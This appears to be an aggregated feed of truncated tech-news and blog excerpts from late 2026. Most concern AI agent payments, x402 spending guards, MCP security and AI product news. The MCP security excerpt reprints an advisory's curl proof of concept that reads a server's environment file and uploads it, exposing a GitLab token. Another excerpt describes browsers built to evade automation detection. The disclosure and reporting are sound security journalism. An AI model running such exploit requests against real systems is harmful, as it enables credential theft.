Never put the limit in the agent's prompt — enforce it outside the agent, at the payment layer. A per-payment cap the agent cannot raise, a daily ceiling with a kill switch, and a scored confidence gate that auto-approves cheap high-confidence spends, holds medium ones for review, and blocks everything else. Every decision logged. This is the week the question went from theoretical to personal. Between Sept 22–26, 2026, four independent signals landed: Sept 24 — WIRED (Zoë Schiffer): her AI agent "saved me $550, booked my restaurant reservations, and warned me about a phishing scam. It also wasted $64 and might be a security nightmare." A $64 mistake with no authorization step is a budget line; at scale it's a balance sheet. Sept 24 — Tony Siqueira, LinkedIn: "You ask for one specific result. They deliver something you expressly rejected, use your money to produce it, and then tell you to buy more credits." His question: What did I authorize? What will it cost? Who pays for a failed attempt that ignored a clear instruction? Sept 22 — six banks (BofA, Capital One, ING, NatWest, ASB, CBA): consumers are "concerned that AI agents may buy the wrong thing or spend too much." Sept 25 — three regulators at GFF 2026 (NPCI, SEBI, MAS): AI agents may determine intent but should not independently authorize payments. The pattern across all four: the agent's judgment about whether to spend is not the control. The control is what sits between the agent and the money. Identity is the budget. Coinbase's production pattern (Coinbase for Agents, stocks + x402 added Sept 22) runs the agent against an isolated portfolio — each x402 payment capped at 5 USDC. The agent can't spend what isn't in its wallet. A cap written in the agent's instructions is a suggestion the agent can talk itself out of. The cap must live in the layer the agent's model output cannot reach: the payment facilitator, the tool proxy, or the gateway. A rule in a system prompt is a request; a rule enforced at the gate
Payment protocols answer what was paid. Identity frameworks answer who acted. Nothing answered under what terms, governed by what law, and with what recourse — until the Legal Context Protocol. On June 24, 2026, the American Arbitration Association (AAA) and Integra Ledger launched LCP: an open standard that puts a merchant's legal terms, consent record, and dispute path at one predictable URL — https://{domain}/.well-known/legal-context.json — so an AI agent can verify what it's agreeing to before any payment fires. On September 23, 2026, PYMNTS ran the story that turned LCP from a June spec into a news cycle: "A budget for a purchase is not permission for every choice an agent makes inside it." A shopper who tells an agent "book a vacation under $3,000" approved a budget — but the agent can pick the airline, accept a nonrefundable fare, add insurance, and split charges across cards without asking again. Until LCP, no record existed of which decisions the shopper approved and which the agent made alone. Only 23% of U.S. consumers trust AI to handle payments (PYMNTS, Sept 23, 2026) — while retailers like Target already treat an agent's choices as the customer's own. That's not a protocol problem. It's a consent ledger problem. Before transacting, an AI agent fetches /.well-known/legal-context.json from the counterparty's domain over HTTPS. The only required field is terms — an absolute URL to a standalone, downloadable terms document. No blockchain. No API keys. No third-party service. { "terms": "https://your-domain.com/terms.html", "atr": "sha256:9f2c…ab41", "dispute_resolution": "https://www.adr.org/" } Optional fields add provability (SHA-256 ATR hash proving exactly what the terms were at transaction time), explicit acceptance, and dispute-resolution hooks. Any web server can implement LCP in minutes by serving one JSON file. Level What the agent gets When to use it 1 — Informational Terms discoverable; proceeding = implicit consent Low-value reads, micropaymen
x402 Agent Spending Guard: Give Your Agent a Budget Before You Give It a Wallet On September 30, 2026, x402-seatbelt shipped — a free, open-source, zero-dependency npm package (plus a Python version, agentseatbelt on PyPI) that checks every x402 payment before it leaves your machine: budget cap, per-payment cap, emergency stop, and an optional Pay Safe verdict (GO / CAUTION / STOP). The justification is first-party monitor data from the author's own paid-x402-API monitor: of 27,499 endpoints tracked on September 30, 2026, 2,777 failed their last health check and 1,495 charged more than their own directory listing. (Source: dev.to/gntechtools) This isn't a one-off — the ecosystem landed the same answer this week from six directions: Guard Enforces x402-seatbelt (Sept 30) maxTotalUsd + maxPaymentUsd, parallel reservations, stop(), Pay Safe GO/CAUTION/STOP StableCoinManager / ERPC (Sept 25–27) Ceilings enforced in code; agent can only LOWER limits at runtime; fails closed; paid a real 1.21 EURC invoice on Base x402-agent-wallet (mid-Sept) $1/day, $0.10/request max, $0.05 approval threshold; only settled spends consume budget; HMAC-signed verdicts thebuyside-x402-agent (mid-Sept) $0.05/call, $1/day rolling, host allowlist, confirm-before-pay default x402 Foundation @x402/mcp (Sept 24) spendControls, $1 default cap, policies filter before wallet signs Countersign @countersign/x402 (Sept 18) Pre-flight allow/deny/needs_approval; decides, never signs The mental model: the guard answers "can we afford it" (fail-closed rules). The decision gate answers "should it happen at all" (confidence scoring → auto-pay / human confirm / block + escalate). Notice the guards already speak the gate: x402-agent-wallet's $0.05 approval threshold IS the confirm band. Pay Safe CAUTION IS the confirm band. Countersign's needs_approval is the confirm band. We ran both sides through our live decision gate tonight: Legit $0.03 whitelisted payment → 0.0714 → escalate $2.50 retry-loop attack (50x o
Everyone keeps asking me if they should block ChatGPT from their website. So I went and looked at what businesses in Houston are actually doing, and the answer surprised me: almost nobody is blocking AI. Their sites just aren't built in a way AI can read. Here's what I did and what I found. The full dataset is public if you want to poke at it [links at the bottom]. I pulled every business in the Houston metro that lists a website in OpenStreetMap, deduped by domain, and ended up with 3,014 sites. Anything sharing a domain across 3 or more locations got treated as a chain, which left 2,474 independents. For each site the crawler fetched three things, once: robots.txt, llms.txt, and the homepage. It identified itself with its own user agent and skipped any site whose robots.txt told it to stay out. It runs on a Cloudflare Worker with HTMLRewriter, which streams the HTML so attribute order doesn't matter and a heavy page doesn't blow up memory [I cap it at 1.5 MB]. Four checks made up what I call the "AI-ready basics": robots.txt lets the AI search crawlers in (OAI-SearchBot, ChatGPT-User, Claude-SearchBot, PerplexityBot, plus Googlebot and Bingbot since they feed AI Overviews and Copilot) at least 120 words of readable text in the raw HTML, before any JavaScript runs some kind of business schema in JSON-LD (LocalBusiness, Organization, etc) exactly one H1 31% pass all four 45% have no business schema at all 27% have no H1 19% show under 120 words before JavaScript runs (restaurants: 33%) 30% already serve an llms.txt, and several are clearly plugin-generated [one literally says "Generated by Rank Math SEO"] Chains weren't any better: 29% pass all four. Only 1.6% of independents block an AI search crawler in robots.txt. I evaluated rules per crawler token for the homepage path using RFC 9309 longest-match, so a site that blocks /search but not / doesn't count as blocked. Training-only tokens (GPTBot, ClaudeBot, Google-Extended, CCBot) are reported separately, since blo
Between Monday morning and Tuesday night this week, four Model Context Protocol servers published CVE records for the same basic failure: every tool they expose is reachable with no authentication. A GitLab server that reads any file on its host and uploads it wherever the request asks. A gateway that runs a program chosen by whoever can POST to it. A MySQL tool that hands its database and filesystem to the network. And an IBM sandbox whose escape comes down to two string concatenations. NVD published all four records in roughly 35 hours. I write about MCP security most weeks. On Tuesday I published a plain-language primer on the attack classes (What Is MCP Security? Common Attacks and How to Scan Your MCP Servers), and my working theory has been that the protocol's real risk lives in defaults, not in exotic prompt injection. This week read like a validation set. I pulled all four NVD records, the GitHub advisories, and the fix commits this morning, and as of publish time I found zero writeups on Hacker News or Dev.to for any of the four. A fifth record belongs in this story: LiteLLM's MCP authentication bypass has been on CISA's KEV list since September 2 and is, per CISA's coordinator scoring, under active exploitation. Here is the first one, in the advisory's own request shape: # From GHSA-cv3r-c5h8-f4g5 (CVE-2026-61560), request shape simplified from the # advisory's own PoC. Run against hosts you own only. # 1. Connect to the SSE endpoint and capture a session id. No auth required. curl -N http://target:3002/sse # 2. Ask the server to read any local file and upload it into a GitLab project. curl -X POST "http://target:3002/messages?sessionId= " \ -d '{"tool": "upload_markdown", "args": {"file_path": "/proc/self/environ"}}' # 3. Retrieve the upload from the GitLab project. The environment file contains # GITLAB_PERSONAL_ACCESS_TOKEN, which is the whole GitLab account. No login screen. No exploit code I had to write. The file read is a feature the tool advertises
Daily requests from AI agents on Cloudflare's network grew by more than 1,700% over the past year, and for the first time more than half the traffic Cloudflare carries is not human (Source: Cloudflare, 2026). Every one of those requests needs a browser session to land in, and almost none of the work that made models reliable in 2024 touched that layer. The bottleneck moved below the model. A human audit published this week walked all 165 tasks of WebArena-Lite under six conditions and found that automatic evaluators missed between 5.45 and 8.49 percentage points of real task success (Source: arXiv, 2026). The same paper then read the 102 failed trajectories and found the failures were not reasoning failures at all. They were scrolling loops, expired sessions, clicks that never landed, and half-filled forms (Source: arXiv, 2026). Give the agent better execution state and a procedural guide, and corrected success on those tasks moved from 34.55% to 38.18% (Source: arXiv, 2026). Memory scaffolding alone lifted an untrained 9B model from 13.90% to 18.80% (Source: arXiv, 2026). None of those gains came from a smarter model. They came from the agent keeping track of where it was. The gap exists because identity is not a property of your code. A page inspecting a session sees a screen size, a GPU string, a font list, a timezone, a language, a TLS handshake signature, and an event stream. A patched browser engine decides those values inside the engine, where a page cannot tell a reported value from a faked one (Source: GitHub, 2026). That is why the open-source agent stacks arriving this autumn ship browsers rather than wrappers. The popular one patches a real Firefox engine in C++, keeps one coherent identity per seed so screen, fonts, GPU, timezone, and language agree, and leaves nothing for a page to find: no WebDriver flag, no DevTools protocol, no automation globals (Source: GitHub, 2026). It still accepts any model through a one-line switch, because the model was neve
On September 22, 2026, six global banks — Bank of America, Capital One, ING, NatWest, ASB Bank, and Commonwealth Bank of Australia — published "Building Trust in Agentic Commerce," and if you build agents that move money, this paper is your spec sheet. What they demand: Auditable records of consumer instructions, authentication, intent, transaction decisions and outcomes — including warnings and interventions — so scams can be investigated, money recovered, disputes resolved. Disclosure whenever an AI agent is involved in a transaction. Greater transparency over how AI agents make decisions. Safeguards for customer data. The risks they name: agents "may buy the wrong thing or spend too much — or even worse, lose their money to scams and fraud." Agents requesting card details and entering them directly into websites. Agents steering users toward payment methods with weaker protections. Merchants facing chargebacks from decisions they didn't control. (These are principles for discussion with policymakers, not rules in force — but they're the clearest demand signal yet.) The field's answers: Mastercard: AgentCard + Agent Pay — Rolling out with Alchemy this week (WSJ): virtual cards assigned to individual AI agents, with the network itself enforcing total spend caps, allowed product categories, and a kill switch. Verifiable Intent records who authorized the agent, what it was instructed to do, and the transaction that followed. Card-shaped: protects human cardholders from their agents. Visa: scoped tokens — Intelligent Commerce + OpenAI: hard scope limits baked into the token at issuance. A grocery-shopping token can't book travel; a $200-capped token can't clear $500. Revocable in real time at the network level. Policy lives outside the model — a hallucinating agent can't talk its way past the cap, but a confident in-scope agent still spends with zero judgment about this specific payment. Google AP2 — The Agent Payments Protocol (Sept 2025, Google Cloud + Coinbase, 60+
Jev is a week old and already the most interesting model launch of September 2026. TypeSafe AI — founder Diogo Almeida (ex-OpenAI, ChatGPT research), two years in stealth, $40M seed led by DCVC — shipped a model that refuses to generate text. You send it state (text or JSON) plus questions with predefined answers. It returns typed decisions: Choice (one of up to 255 options), Score (numeric rating), Noul (yes/no with probability) — each with calibrated confidence. All questions evaluate in one forward pass. 70–500ms. $0.042 per million input tokens, output free. Week-one traction is real: 140,000+ waitlist cleared in days, X trending, 12,759 tweets analyzed by OpenChamber, 1,500+ Hacker News points with 426 comments in a day, Vercel AI Gateway availability, and community builds (jevchat, jev-2048, an open-weight "Kev" on Qwen). Simon Willison covered it and shipped an llm-typesafe plugin the next day. The "20–200x faster, 40–400x cheaper" figures are TypeSafe's own launch evaluations — not independently validated. Willison's critique is worth sitting with: a model that returns only a floating-point number is "a regression even further towards black box machine learning." Type safety constrains the form of the answer; decision quality still has to be measured separately. Jev is named for the Jevons-paradox insight: make a decision cheap enough and software makes far more of them. A 1,000-token decision costs about $0.000042 in model cost. That flips the business model. Every decision becomes a billable event, and subscriptions stop making sense at that unit size. The native billing is per-call micropayments: x402 — the server answers an unpaid request with a 402 Payment Required challenge (price, asset, network, payTo), the buyer's wallet signs and retries, a facilitator settles on-chain. This isn't theoretical. ProBlocks runs a live x402 endpoint on Base at 0.001 USDC per call (September 2026). My own shop runs an x402 v2 payment contract live on Base — curl https:/
BlackRock's Digital Assets Research team published an 11-page paper on September 22, 2026 — "The Machine-Native Economy: How digital assets connect intelligence, commerce, and compute" — and the crypto press ran with the headlines. I read the full PDF. Here's what's actually in it, what the coverage gets wrong, and the part nobody is writing about. "AI represents machine-native intelligence, while digital assets represent machine-native money." Both are built on tokenization — LLMs encode language as tokens, blockchains encode value as tokens. As agentic AI starts making purchases and initiating financial transactions, machines need payment rails built for machine-speed commerce. Legacy rails don't fit: merchant fees kill sub-cent transactions, ACH settles in about a business day, and account setup may need a human. Page 5: x402 is "an open payment protocol developed by Coinbase" that "uses the HTTP 402 'Payment Required' status code to facilitate machine-initiated payments" — blockchain-agnostic, USDC as an early use case, "emerging as one potential standard for high-velocity M2M transactions." The worked example: a human asks an agent to book travel within a budget. The primary agent uses MCP connectors, delegates to a travel sub-agent via A2A, the sub-agent pays for airfare and hotel-rate APIs via x402 settled on-chain, and the primary agent completes reservations via ACP. Stablecoins: >$300B circulating market cap (September 2026) $11.2T adjusted 2025 transaction volume — vs Visa $16.7T and Mastercard $10.6T 80% CAGR 2020–2025, vs ~8.5% for ACH AI capex: >$5T between 2025 and 2030 Hyperscaler cloud revenue ~$1.1T by 2030 (29% CAGR) It's not an x402 endorsement. The paper names five competing rails: x402 (Coinbase), MPP (Stripe + Tempo), ACP (Stripe + OpenAI), AP2 (Google), TAP (Visa). x402 is "one potential standard," not the winner. The paper says the agent economy is early. Verbatim: "agentic payment activity remains nascent today." Anyone quoting this paper a
How to Monetize an MCP Server: Per-Call x402 Payments (With Live Receipts) There are 20,000+ MCP servers in the wild and fewer than 5% have any monetization. The guides that rank for "how to monetize an MCP server" are vendor pitches, Stripe subscription tutorials, or marketing calculators — none shows a live payment receipt. Here's the receipt-first version. I run ScriptMasterLabs; we bill x402 on our MCP/HTTP tool infra on Base. Per-call x402 billing: your server answers each unpaid tool call with a 402 Payment Required challenge carrying price, asset, network, payTo address, and expiry. The agent's wallet signs the payment authorization, retries the same call, and a facilitator verifies and settles it on-chain. No accounts, no API keys, no checkout pages. Receiving a challenge costs the caller nothing. 1. The x402 payment manifest: curl https://squeezeos-api.onrender.com/.well-known/x402 Returns a live machine-readable contract: operator SCRIPTMASTERLABS, network eip155:8453 (Base), asset USDC (0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913), payTo 0xc29185fa176357612f3194735753e520e91adc46, facilitator https://api.cdp.coinbase.com/platform/v2/x402, challenge header PAYMENT-REQUIRED, MCP endpoint https://squeezeos-api.onrender.com/mcp, identity registered on the ERC-8004 agent registry (agent id 74033). Verified live September 22, 2026. 2. A live MCP handshake: curl -X POST https://mcp-x402.onrender.com/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"probe","version":"0"}}}' Answers with serverInfo: {"name": "mcp-x402", "version": "2.1.11"} and tool capabilities live. On tools/call without a payment credential, return the payment terms — JSON-RPC error data on the MCP transport, or 402 + PAYMENT-REQUIRED header over HTTP. Verify the buyer's signature through a facilitator (ours points at the
Here's a product feature which the world is going to need a whole lot more of over the coming months and years: default hard budget caps . I'm talking about the feature of pay-by-usage services and APIs that lets you say "after $X/month, cut this thing off and return errors". These need to be hard limits. Soft caps, "after $X/month, send me a warning email", will not cut it. Coding agents, and personal agents (coding agents wrapped in a less threatening UI), greatly reduce the friction of spinning up code that can do useful things. Sometimes those things cost money - calls to paid APIs, or hosted web applications, or systems that can bill for additional storage and compute. Nobody wants to wake up to an email sent at midnight warning about a budget limit and find that, while they slept, their rogue service had consumed several hundred (or several thousand) more dollars of usage. An argument against this is that businesses don't want their hosted applications to start throwing errors because some budget was exceeded. I expect that most businesses and individuals would prefer errors to a surprise $10,000+ bill. I think hard budget caps need to be the default. If someone wants to live dangerously they should be able to do that, but it needs to be on an opt-in basis. Have a nice, clear checkbox somewhere prominent: Remove the budget cap. My application will not be shut down if I exceed the configured budget limit, and I will be responsible for subsequent charges. The service I most want to see this from is AWS. I've heard plenty of stories from people who refuse to use AWS for personal projects out of (justified) fear that a runaway service might bankrupt them. I've also heard stories from people who didn't anticipate this and ended up seriously burned. ... and it turns out AWS finally launched spending limits a few weeks ago! From their announcement New AWS experience helps builders get started and ship faster on 16th September: When you're ready to upgrade to a paid p
Google's Gemini could soon access any file on your macOS device, open apps, browse the web, and perform actions without asking for permission every time. [...]
I just sent the September edition of my sponsors-only monthly newsletter . If you are a sponsor (or start a sponsorship now) you can access it here . This month: More Fable class models A pricing war 3D graphics, Blender, and pixel art LLMs come for mathematics So many more accidental cyberattacks The vulnapocalypse comes for Datasette What I'm using right now My software releases this month 2026 in LLMs (so far) Here's a copy of the August newsletter as a preview of what you'll get. Pay $10/month to stay a month ahead of the free copy! Tags: newsletter
Following the compute-based usage change in May, Google will soon introduce limits on which Gemini models free users and AI Plus subscribers can access. more…
AI grows around whatever it touches. Feed it your SOPs and it hollows you out; feed it real judgment and it compounds. A four-question test to tell which.
By his own admission, David Robinson is “something of a cliché”: an employee at a leading AI company who issues a dire warning while resigning from their job.
In multi-agent systems, a valid conclusion can gain unintended authority as it moves downstream. That makes agent handoffs a security boundary of their own.
Kakul Srivastava is the CEO of Splice, the sample platform countless producers rely on for one-shots and melodic loops. Samples pulled from the service have found their way into massive hits like Lisa's "Money" and "Espresso" by Sabrina Carpenter. (The original samples are here and here, for the curious.) Before that, Kakul held executive roles at Flickr, Yahoo, GitHub, and Adobe. Throughout her career, Kakul has found herself at the intersection of Silicon Valley and creatives. That's been especially true at Splice, where she's not just expanded the platform's footprint by acquiring Spitfire Audio, but also overseen its forays into the wor … Read the full story at The Verge.
David Robinson used to write the safety reports that accompanied every major model release at OpenAI. This week, he resigned from his position and is now speaking out in an editorial in The Atlantic. It's understandable if you're feeling a bit cynical about everyone suddenly coming out of the woodwork to warn about how dangerous the thing they helped build is. They did, after all, make this mess. But that doesn't mean we should discount their warnings. Robinson says that the culture in industry is fundamentally broken. That this is a deeper issue than simply slapping a few new rules or regulations on how we handle training models. Silicon … Read the full story at The Verge.
We created a list of the most notable AI agents that can live in your text messages, from general assistants to agents designed for families, travel, and work.
Apple @ Work is exclusively brought to you by Mosyle, the only Apple Unified Platform. Mosyle is the only solution that integrates in a single professional grade platform all the solutions necessary to seamlessly and automatically deploy, manage, and protect Apple devices at work. Over 45,000 organizations trust Mosyle to make millions of Apple devices work ready with no effort and at an affordable cost. Request your EXTENDED TRIAL today and understand why Mosyle is everything you need to work with Apple. MacPaw spent nearly two decades building consumer software for Mac users. CleanMyMac is one of the Mac utilities on the market, and it’s my go-to when I need to free up hard drive space, uninstall apps, etc. The company is making a different kind of bet with Leebry, a Work AI platform aimed at helping IT teams. more…
Beyond the various local AI agent/chat options not catering to a specific desktop environment, the GNOME desktop has seen Newelle as an AI app catering to GNOME/GTK4. There's now another local AI option for the GNOME desktop with Moose...
Explore TeleOCR’s document-parsing benchmarks, distorted-page handling, table and formula extraction, limitations, and comparisons with other OCR VLMs.
A backend engineer connects Search Console to ChatGPT through MCP and turns early SEO data into a daily experiment loop instead of a content churn machine.
(Belated post :/ ) Anthropic releases Opus 5.5 with lower prices and Fable-level performance, OpenAI launches GPT-6 Sol and Luna, boasting lower cost and fewer mistakes
Is "Super Intelligence" a more accurate name for AI? Not quite. Here's what AI and SI actually mean, why today's tech fits neither, and what to call it.
Meta now lets you make your own Muse gadgets that feature the company's new AI agent with code that the company open sourced. The company suggests projects like loading Muse on a color E Ink display to show reminders, adding it to an HDMI stick so you can display Muse on a big screen, or putting Muse on a small touchscreen device to make what looks kind of like a DIY Muse Charm. "Muse gadgets are open source devices you build yourself," Meta says. "Program an off-the-shelf ESP32 board or set up a Raspberry Pi with our SDKs, then connect Muse to your displays, buttons, sensors, actuators, and whatever else you've got lying on your workbench. … Read the full story at The Verge.
Apple will add new limits for "full disk access" on Mac in response to risks posed by AI agents, as reported earlier by TechCrunch. In an update on Friday, Apple says it's rolling out new controls to "ensure that users who genuinely wish to grant an app this extraordinary level of access can only do so with very explicit user action." The change comes just weeks after Inc's Jason Aten found that Meta's Muse AI somehow knew the contents of his messages, despite not giving the chatbot explicit permission to access them on his iPhone or Mac. Meta spokesperson Andy Stone pushed back on this report, saying access to Messages is "entirely opt-in. … Read the full story at The Verge.
Siri AI is a major upgrade to Apple’s assistant that’s now available in iOS 27. And there’s one standout area I’ve noticed where it differs greatly from other AI assistants—for the better. more…
Apple says it will add new controls around macOS’s Full Disk Access permission, warning that increasingly capable AI agents make broad access to users’ files, messages, mail, and browsing history riskier.
New helpful little guy just dropped. | Photo: Allison Johnson / The Verge It's a tale as old as last week: OpenAI's new agent platform, called Dots, is full of cute little guys who can do your bidding. But unlike the ultra-approachable Meta Muse, Dots feel very much like using workplace software that happens to be able to order you a burrito - emphasis on work. OpenAI announced Dots earlier this week. Like Muse, Dots have blobby, anthropomorphic avatars and customizable names. In the future, OpenAI says you'll be able to have multiple Dots, but right now you get one. I named mine Dotty McDotface. The interface looks similar to Muse's; you chat with the agent in one window and follow its work in another as it … Read the full story at The Verge.
This week, the White House got nearly every major tech CEO in one room — Zuckerberg, Bezos, Musk, and Anthropic’s Dario Amodei among them — to sign an AI safety pledge that President Donald Trump called “morally binding.” Trump also signed an executive order officially rebranding AI as “super intelligence,” and meanwhile, Meta and OpenAI are putting friendlier faces on their AI products, even as the biggest money […]
Blackstone's Jas Khaira will take the Builders Stage at TechCrunch Disrupt 2026 on building next-gen AI. Register for your pass and get 50% off a second.
With all the talk about how AI might one day kill us all, it's easy to forget that AI has already harmed some people psychologically. Circuit Breaker Labs has created "crash-test dummies" to solve that.
Many frontier labs keep their risky research locked away. Trillium Labs wants to show off its work when it comes to self-improvement and model behavior.